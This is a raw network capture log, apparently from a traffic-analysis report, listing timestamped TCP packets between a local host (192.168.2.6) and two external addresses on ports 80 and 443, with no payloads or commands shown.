Dec 19, 2024 16:10:29.447773933 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.447820902 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.454700947 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.454719067 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.454979897 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.454994917 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.455095053 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.563795090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.563855886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.563890934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.563990116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.564285994 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.564400911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.564560890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.565190077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.565296888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.565373898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.565514088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.566229105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.566314936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.566472054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.566612959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.567487001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.567948103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.568078995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.568280935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.568562984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.568636894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.568743944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.569427967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.569509983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.569524050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.569684029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.570415974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.570810080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.570831060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.570909977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.571393013 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.571561098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.571764946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.572374105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.572556019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.572643042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.572876930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.573419094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.573431969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.573539972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.574333906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.574532032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.574989080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.575320959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.575377941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.575704098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.576328039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.576343060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.576381922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.576478004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.576559067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.577260017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.577363014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.577442884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.578270912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.578439951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.579221964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.579246998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.579483032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.579544067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.579721928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.580226898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.580336094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.581240892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.581265926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.581366062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.581387043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.581521034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.582243919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.582256079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.582318068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.583262920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.583498955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.583669901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.585208893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.585345030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.585375071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.585539103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.585561991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.585616112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.585616112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.586443901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.586596012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.586708069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.587276936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.587412119 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.587466002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.588201046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.588247061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.588277102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.588385105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.589201927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.589216948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.589553118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.590095043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.590279102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.590399027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.590982914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.591012955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.591239929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.591269970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.591295958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.592212915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.592226028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.592417955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.592593908 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.592627048 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.592911005 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.592926979 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.592958927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.592983961 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.593070030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.593226910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.593971968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.594098091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.594134092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.594238997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.594942093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.595041990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.595041990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.595140934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.595882893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.595958948 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.596077919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.597383976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.597394943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.597544909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.597834110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.598248959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.598387003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.598562956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.598706007 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.598735094 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.598813057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.598814011 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.598814011 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.598824024 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.598831892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.598876953 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.598886013 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.599787951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.599931002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.600181103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.600814104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.600857019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.600974083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.601918936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.601968050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.602015018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.602828979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.602840900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.602891922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.602891922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.603761911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.603801012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.603827000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.603971004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.604804039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.604846001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.604872942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.605643034 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.605668068 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.605693102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.605715990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.605720043 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.605727911 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.605751038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.605752945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.605752945 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.605792999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.605814934 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.606688976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.606722116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.606750011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.606832027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.607670069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.607702971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.607781887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.608736038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.608843088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.609011889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.609637022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.609724998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.609749079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.609894991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.610630035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.610760927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.611371040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.611557961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.611603975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.611638069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.612591028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.612643003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.612668037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.612699986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.612771988 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.612807035 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.612862110 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.612879038 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.612901926 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.613017082 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.613686085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.613734007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.613760948 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.613806009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.614618063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.614680052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.614708900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.615036964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.618803978 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.618829012 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.618921041 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.618921041 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.618931055 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.619817019 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.623398066 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.623445988 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.623490095 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.623501062 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.626377106 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.630415916 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.630445957 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.630857944 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.630867958 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.634324074 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.636482954 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.636507034 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.636601925 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.636601925 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.636612892 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.636750937 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.755985975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.756009102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.756095886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.756254911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.756426096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.756583929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.756793022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.756957054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.757317066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.757419109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.757450104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.757679939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.758296967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.758605003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.758656025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.758683920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.758795023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.759646893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.759866953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.759896994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.760610104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.760746002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.760776997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.761038065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.761543989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.761609077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.761634111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.761754990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.762685061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.762723923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.762751102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.762803078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.763636112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.763678074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.763706923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.764487982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.764517069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.764591932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.764617920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.765146971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.765464067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.765746117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.766099930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.766450882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.766479969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.766525030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.767062902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.767246008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.767463923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.767478943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.767558098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.768449068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.768522024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.768528938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.768785954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.769375086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.769458055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.770062923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.770210028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.770340919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.770458937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.770593882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.771411896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.771470070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.771625042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.771670103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.772397041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.772450924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.772572994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.773336887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.773513079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.773648977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.774290085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.774321079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.774485111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.774640083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.775477886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.775491953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.775819063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.776268005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.776361942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.776386976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.776518106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.777326107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.777471066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.778201103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.778234005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.778536081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.778567076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.779283047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.779321909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.779352903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.780286074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.780289888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.780981064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.781213999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.781245947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.781395912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.781697035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.782150030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.782167912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.782181025 CET	443	49888	185.199.109.133	192.168.2.6
